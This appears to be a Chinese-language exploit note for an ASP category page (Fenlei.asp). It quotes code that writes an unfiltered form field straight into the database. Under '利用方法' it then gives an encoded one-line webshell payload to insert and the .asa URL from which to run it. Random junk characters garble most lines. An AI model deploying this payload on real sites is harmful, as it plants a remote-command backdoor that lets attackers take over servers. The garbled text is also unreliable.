'Fenlei.asp : H8 M, Y! ^8 ^5 n* H7 w% c# ~
p% [! E6 A1 ~9 f. d5 V. sIF Request.QueryString("Action")="del" Then 5 @/ C& p/ F1 j4 V& B, i. K
ID=Request.QueryString("ID") ! H1 M# I$ ?9 f; J
IF Countss ("tui","Fenlei",ID )<>0 then ! s$ p* p- R( t, x
'略 - l4 n+ B0 w( I+ i" A$ b
IF Request.QueryString("Action")="Add" Then 2 \9 X; l$ Y7 c2 L- Z; v
Tname=Request.Form("Typename")
! n6 }! y+ M& ?4 |Set Rs=Server.CreateObject("adodb.Recordset") . I( D7 [% e/ H" ^
Sql="Select * From Fenlei Order by id Desc "
, \/ z+ m/ M4 |8 q6 k$ mRs.Open Sql,Conn,1,3 1 j7 t1 v, _9 a: _: D
Rs.Addnew ( O6 I' w' m) X. L8 Q
Rs("Typename")=Tname
+ y5 s# w8 ^) b! b'略 & L9 D* r' |8 V5 b" _: t3 Q
Set Rs=Server.CreateObject("adodb.Recordset") ! |2 r4 Z8 G9 D0 d4 _$ v+ v
Sql="Select * From Fenlei Order by id Desc " 8 p3 I" q1 H1 d" B* G1 [2 f/ `
Rs.Open Sql,Conn,1,1
% T0 e0 S/ l& l4 l- E'略 ! X6 J" N6 D; j) m
%>
: {& D( [4 g% B+ G
}0 D% b0 k1 ^6 v @) E9 | / y( M0 x# S$ s/ Z0 |" F$ [
* g* x/ D; r! s- L L/ l. E2 X( |没有过滤,直接写入数据库。, }0 t" `+ e' H, \/ X |; B# D
8 j' D7 U' `' U# E- a# A7 j
利用方法:
8 r; ?4 l6 `: N5 Z: A ' Z! t% M' Y$ b' x' b# V
插入:┼攠數畣整爠煥敵瑳∨≡┩>
( }7 N0 X7 O, N* G- i
+ }4 g; j5 x( m
% D7 @: h$ y5 y, r, _) p连接: http://www.xxx.com/###tongbaner.asa : \+ M& n8 u2 }8 ]
'默认安装文件: 2 I$ _" w/ T+ s! x
'install.asp3 }4 W* F& A" s4 q: Q" B3 f
|